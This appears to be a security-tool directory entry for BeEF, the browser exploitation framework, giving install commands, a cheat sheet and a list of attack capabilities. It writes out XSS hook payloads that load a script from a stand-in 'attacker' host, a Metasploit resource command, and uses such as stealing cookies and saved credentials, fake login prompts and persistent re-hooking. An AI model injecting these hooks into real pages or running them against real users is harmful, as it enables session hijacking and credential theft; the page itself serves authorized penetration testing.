Exploitation
BeEF (Browser Exploitation Framework) is a penetration testing tool focusing on web browsers. It hooks browsers and uses them as beachheads for further attacks.
sudo apt install beef-xss
beef-xss
BeEF is the leading browser exploitation framework that uses hooked browsers as beachheads for client-side attacks. When an XSS vulnerability allows JavaScript injection, BeEF's hook.js loads in the victim's browser, establishing a persistent communication channel with the BeEF server.
The framework's web-based control panel shows all hooked browsers in real-time with detailed information about the browser type, version, installed plugins, and security posture. Over 400 command modules enable data theft, session hijacking, network scanning, social engineering, and more.
BeEF integrates with Metasploit for advanced post-exploitation, allowing seamless transitions from browser hooks to system-level compromise. It is essential for demonstrating client-side attack vectors during authorized penetration tests.
beef-xssStart BeEF<script src="http://attacker:3000/hook.js"></script>Hook scriptsudo nano /etc/beef-xss/config.yamlConfigure credentials, host, and port in the config filecurl http://127.0.0.1:3000/ui/panelAccess the BeEF control panel (default beef/beef login)<img src="http://attacker:3000/hook.js" onerror="...">Alternate hook injection via an image error handlermsfconsole -r /usr/share/beef-xss/modules/msf.rcLoad the Metasploit resource script for browser exploitationcurl http://127.0.0.1:3000/api/hooks?token=TOKENQuery hooked browsers through the BeEF RESTful APIHook victim browsers through XSS injection for persistent remote control.
Steal saved credentials, session cookies, and form data from hooked browsers.
Scan internal networks from the hooked browser to map behind-firewall resources.
Create fake login prompts and social engineering dialogs through the hooked browser.
Launch Metasploit exploits through the hooked browser for system-level compromise.
Maintain access through browser re-hooking and persistent backdoor communication.
Web Application
Automated XSS detection framework with WAF bypass and payload generation.
Web Application
Advanced XSS detection suite with intelligent payload generation and context analysis.
Exploitation
Exploitation framework with browser exploit modules for system-level compromise.
Social Engineering
Social engineering framework for phishing, credential harvesting, and malicious file generation.
Sniffing & Spoofing
LLMNR/NBT-NS/MDNS poisoner for credential harvesting on local networks.
Web panel shows hooked browsers. Can run commands and modules against them.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.